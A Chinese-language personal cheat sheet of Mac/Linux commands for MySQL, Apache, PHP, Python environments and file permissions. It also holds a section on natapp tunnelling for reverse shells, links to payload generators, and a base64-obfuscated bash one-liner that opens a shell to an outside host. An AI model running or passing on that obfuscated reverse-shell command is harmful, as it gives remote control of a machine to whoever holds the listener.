Mac/Linux平台命令行的大部分问题解决办法.包括:切换编译环境、mysql启动命令、查看mysql位置、Apache服务启动、,php(oracle)的安装设置环境变量,zsh:权限不够解决办法
切换到anaconda的大环境使用python
把wjl更换为你的用户名即可
. /Users/wjl/opt/anaconda3/bin/activate && conda activate /Users/wjl/opt/anaconda3;
切换pip 2.7环境,安装python2依赖
/opt/local/Library/Frameworks/Python.framework/Versions/2.7/bin/pip install 模块名
vps端口映射(适用于反弹shell端口)的使用
百度下载natapp
cd 到下载到的文件夹
chmox +x ./natapp
./natapp -authtoken=输入你的token
mysql 的启动命令
#进入目标文件夹
cd /usr/local/mysql/bin/
#运行mysql
./mysql -u root -p
#你的id和password
id:root
password:xxx
查看mysql状态
ps -ef|grep mysql
有效载荷生成器:
在线网址
1:https://www.revshells.com/
2:https://www.jackson-t.ca/runtime-exec-payloads.html(暂时无法访问请访问链接1)
或者自己做一个有效攻击负载bash
把bash到1的值放入base64编码网站/我用的burpsuite(decode)——编码/etc/tcp/vps的ip/port端口 再加上如下外壳
将编好的base64放入********
"bash -c {echo,********}|{base64,-d}|{bash,-i}"
例:
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zODY4NSAwPiYx}|{base64,-d}|{bash,-i}"
oracle的查看(docker)
打开docker后
进入命令行
sqlplus /nolog
相对路径
2)通过相对路径登陆(推荐!!)
首先查看查看PATH
$ echo $PATH
然后设置PATH并保存在~/.bash_profile中
输入echo “export PATH=$PATH:/usr/local/mysql/bin”
>> ~/.bash_profile
最后重启终端后再查看一下PATH
mac 里面有两个php环境 、Mac自带7版本、 PHPstudy 是2(安装的) 版本
但是本人实际尝试PHP小皮面板(phpstudy没有Mac版的)后开启环境并没有什么用
mac 启动命令:
首先切换到root用户
sudo -i
接着查看80端口是否被暂用
lsof
查看apache 版本
httpd -v
开启apache
apachectl start
重启apache
apachectl restart
关闭apache
apachectl stop
运行 127.0.0.1,显示
it works
表示apache开启成功
进入php默认文件夹
配置文件夹:
/etc/apache2/httpd.conf
#修改相关配置可以更改默认web目录更快访问
config文件php 默认文件夹
DocumentRoot/Library/WebServer/Documents/
改默认文件夹把wjl改为你的用户名
"/Users/wjl/web"
当你用phpstudy 启动又打开了自己的mysql、php服务时
两者(Mac自带和phpstudy)只能存在一个php和 mysql
运行.sh时出现zsh: 权限不够解决方法:
#给可执行文件赋予读写权限
chomd 777 *.sh
chmod u+x *.sh